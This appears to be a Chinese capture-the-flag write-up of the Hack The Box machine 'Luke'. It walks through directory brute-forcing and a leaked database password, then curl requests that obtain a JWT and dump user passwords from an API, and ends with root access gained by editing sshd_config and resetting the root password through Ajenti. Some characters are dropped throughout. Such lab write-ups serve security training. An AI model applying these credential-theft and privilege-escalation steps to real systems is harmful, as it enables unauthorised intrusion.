渗透测试 HTB-Luke实战

2023-05-07 03:18:01

 

文章目录

—————— 昨日回顾 ——————渗透测试 | HTB-OneTwoSeven实战http://qiyuanxuetang.net/courses/

—————— 昨日回顾 ——————

红日安全出品|转载请注明来源

文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用任何人不得将其用于非法用途以及盈利等目的否则后果自行承担来源红日安全

渗透测试 | HTB-OneTwoSeven实战

—————— —————— —————

信息收集

打开10.10.10.137 发现就个静态般我习惯先看下源码发现是个静态了

Bootstrap 4

端口测试

21/tcp ftp

22/tcp ssh

80/tcp http

3000/tcp ppp

8000/tcp http-alt

1. 10.10.10.137:8000 个Ajenti登陆

2. 10.10.10.137:3000返回

{"success":false,"message":"Auth token is not supplied"}

目录遍历

习惯dirsearch.py 分别对80、3000进录遍历

80端发现

[17:51:04] 403 - 220B - /.ht_wsr.txt

[17:51:04] 403 - 222B - /.htaccess-dev

[17:51:04] 403 - 224B - /.htaccess-local

[17:51:04] 403 - 213B - /.hta

[17:51:04] 403 - 224B - /.htaccess-marco

[17:51:04] 403 - 223B - /.htaccess.bak1

[17:51:04] 403 - 222B - /.htaccess.BAK

[17:51:04] 403 - 222B - /.htaccess.old

[17:51:05] 403 - 221B - /.htaccessOLD

[17:51:05] 403 - 223B - /.htaccess.orig[17:51:05] 403 - 223B - /.htaccess_orig

[17:51:05] 403 - 225B - /.htaccess.sample

[17:51:05] 403 - 222B - /.htaccess.txt

[17:51:05] 403 - 221B - /.htaccess_sc

[17:51:05] 403 - 221B - /.htaccessBAK

[17:51:05] 403 - 224B - /.htaccess_extra

[17:51:05] 403 - 223B - /.htaccess.save

[17:51:05] 403 - 222B - /.htpasswd-old

[17:51:05] 403 - 219B - /.htaccess~

[17:51:05] 403 - 219B - /.htpasswds

[17:51:05] 403 - 223B - /.htpasswd_test

[17:51:05] 403 - 222B - /.htaccessOLD2

[17:51:05] 403 - 217B - /.htgroup

[17:51:06] 403 - 217B - /.htusers

[17:53:16] 200 - 202B - /config.php

[17:53:25] 301 - 232B - /css -> http://10.10[17:54:02] 200 - 1KB - /gulpfile.js

[17:54:16] 200 - 3KB - /index.html

[17:54:24] 301 - 231B - /js -> http://10.10.1[17:54:30] 200 - 1KB - /LICENSE

[17:54:36] 200 - 2KB - /login.php

[17:54:43] 401 - 381B - /management

[17:54:43] 401 - 381B - /management/

[17:54:46] 301 - 235B - /member -> http://10[17:54:46] 200 - 216B - /member/

[17:55:06] 200 - 1KB - /package.json

[17:55:35] 200 - 4KB - /README.md

其中 /management 和 login.php 也是个登陆 /config.php 包括了mysql账号密码

$dbHost = localhost; $dbUsername = root; $dbPassword = Zk6heYCyv6ZE9Xcg;

$db = "login"; $conn = new mysqli($dbHost, $dbUsername, $dbPassword,$db) or

die("Connect failed: %s\n". $conn -> error);

3000端发现

[22:30:18] Starting:

[22:34:38] 200 - 13B - /login

[22:34:38] 200 - 13B - /Login

[22:34:40] 200 - 13B - /login/

[22:35:42] 503 - 0B - /pmyadmin/

[22:37:02] 200 - 56B - /users

[22:37:03] 200 - 56B - /users/admin

[22:37:03] 200 - 56B - /users/其中 /login 返回 "please auth" , users 也是返回 {"success":false,"message":"Auth token

is not supplied"}

整合信息

三个登陆

10.10.10.137:8000、10.10.10.137/login.php、10.10.10.137/management

个mysql账号密码root/Zk6heYCyv6ZE9Xcg

10.10.10.137:3000返回信息

{"success":false,"message":"Auth token is not supplied"}

10.10.10.137:3000/login返回

"please auth"

具体分析

突破在

在 "Auth token is not supplied"

Google下发现是jwt认证失败的个返回信息因此推测应该构造认证信息post到

10.10.10.137:3000然后获取到户凭证接着这个户凭证去请求

10.10.10.137:3000/users。

这post的户信息概就是上的mysql账户密码因为只有这个可以了且这个账户信息尝试

登陆在个登陆以及mysql服务端均没有成功。

使curl

curl -s -X POST -H Accept: application/json -H Content-Type:

application/json --data {"usename":"admin","password":"Zk6heYCyv6ZE9Xcg"}

http://10.10.10.137:3000/logi

回显信息

Errortitle>

head>

SyntaxError: Unexpected token r in JSON at position 11

at JSON.parse ()

at parse

(/nodeapp/node_modules/body-parser/lib/types/json.js:89:19)

at /nodeapp/node_modules/body-parser/lib/read.js:121:18

at invokeCallback (/nodeapp/node_modules/raw-body/index.js:224:16)

at done (/nodeapp/node_modules/raw-body/index.js:213:7)

at IncomingMessage.onEnd (/nodeapp/node_modules/rawbody/index.js:273:7)

at IncomingMessage.emit

(events.js:202:15)

at endReadableNT

(_stream_readable.js:1132:12)

at processTicksAndRejections

(internal/process/next_tick.js:76:17)pre>

body>

htm

不知道是什么原因估计是curl哪构造错了但是可以确定的是思路是对的换postman发送json

请求

token

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY

3NjY5MDI5LCJleHAiOjE1Njc3NTU0Mjl9.RXpmi8wbxNoRad-0grsWbMYK0a6_SVObti1aoiro8qU

这个token请求/users和/users/{user}

curl -H Accept: application/json -H "Authorization: Bearer

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY3N

jY5MDI5LCJleHAiOjE1Njc3NTU0Mjl9.RXpmi8wbxNoRad-0grsWbMYK0a6_SVObti1aoiro8qU"

https://10.10.10.137:3000/users

获取到

[{"ID":"1","name":"Admin","Role":"Superuser"},

{"ID":"2","name":"Derry","Role":"Web Admin"},

{"ID":"3","name":"Yuri","Role":"Beta Tester"},

{"ID":"4","name":"Dory","Role":"Supporter"}]

{"name":"Admin","password":"WX5b7)>/rp$U)FW"}%

{"name":"Yuri","password":"bet@tester87"}%

{"name":"Derry","password":"rZ86wwLvx7jUxtch"}%

{"name":"Dory","password":"5y:!xa=ybfe)/QD"

登陆到http://10.10.10.137/management访问http://10.10.10.137/management/config.json

获取到root/KpMasng6S5EtTy9Z的账户信息最后登陆到

10.10.10.137:8000

flag:8448343028fadde1e2a1b0a44d01e650

提权

直接root/KpMasng6S5EtTy9Z登陆ssh不说明这只是web的账号。但是ajenti服务是具有root权

限的也说明可以任意操作了。

File Manager翻了下配置件可以直接找到ssh的配置件/etc/sshd_config并且有编辑的权限。

那么修改配置项

PermitRootLogin yes

重新启动ssh服务再试下登陆ssh发现还是不可能root

密码并不是web账户密码这有Users打开并直接重置root密码不需要旧密码重置

ssh登陆

海量安全课程 点击以下链接 即可观看

http://qiyuanxuetang.net/courses/

专栏

#&nbspHTB-Luke实战

#&nbspHTB渗透

# 代码审计

# 内网渗透

# 渗透测试


以上就是关于《渗透测试 HTB-Luke实战》的全部内容,本文网址:https://www.7ca.cn/baike/24699.shtml,如对您有帮助可以分享给好友,谢谢。
标签:
声明

排行榜